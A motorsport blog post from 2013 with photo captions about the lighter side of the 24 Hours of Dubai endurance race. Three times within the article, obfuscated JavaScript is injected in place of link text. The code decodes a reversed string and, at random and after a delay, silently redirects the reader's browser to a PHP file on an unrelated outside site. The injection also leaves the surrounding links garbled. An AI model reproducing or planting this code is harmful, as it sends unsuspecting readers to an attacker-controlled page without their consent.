Behind the scenes at the 24 Hours of Dubai

Jan 15, 2013 Phill Tromans

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It’s not all glamour in the world of international motor racing, you know. For all the grid girls and fast cars, there’s a chronic lack of sleep, mechanics waiting for something to fix and harassed media trying to document it all, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston?ref=ts” target=”_blank”>crankandpiston among them. Let us delve then into some more human shots from the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=dubai+24hrs”>24 Hours of Dubai that show the less high-octane side of endurance racing.

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Can’t win a 24-hour race if you can’t see where you’re going. Every pit stop saw gratuitous spraying of glass cleaner onto the car’s windscreens.

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Gotta start the obsession young…

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These are not regulation FIA-approved wigs. DISQUALIFIED.

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With 82 teams and 24 hours of racing, lots of tyres are required. Dunlop shipped in some 7000 from their factory in the UK.

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Fatigue. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-ferrari-333sp-caged/” target=”_blank”>Leon Price has it.

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As night draws in, staying awake becomes increasingly important. Step forward these lifesavers.

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This Attempto Racing Porsche‘s assault on the podium ended when it caught fire. Never good.

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Fixing car damage mid-race generally involves a large amount of heavy duty tape.

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The task of getting around the paddock was accomplished by a variety of ways, mostly by scooter, quad or bicycle. However, this was our favourite.

Pages: 1 2 3

Categories: 24hDubai,Race

Dubai 24hrs,featured,Motorsport

Phill Tromans

Phill Tromans has been a professional writer since 2001 and has specialised in motoring since 2005. After three years working in the UK he has worked for various titles in the Middle East, focusing on new cars and the industry, as well as motorsport. He also has a sweet collection of sneakers.

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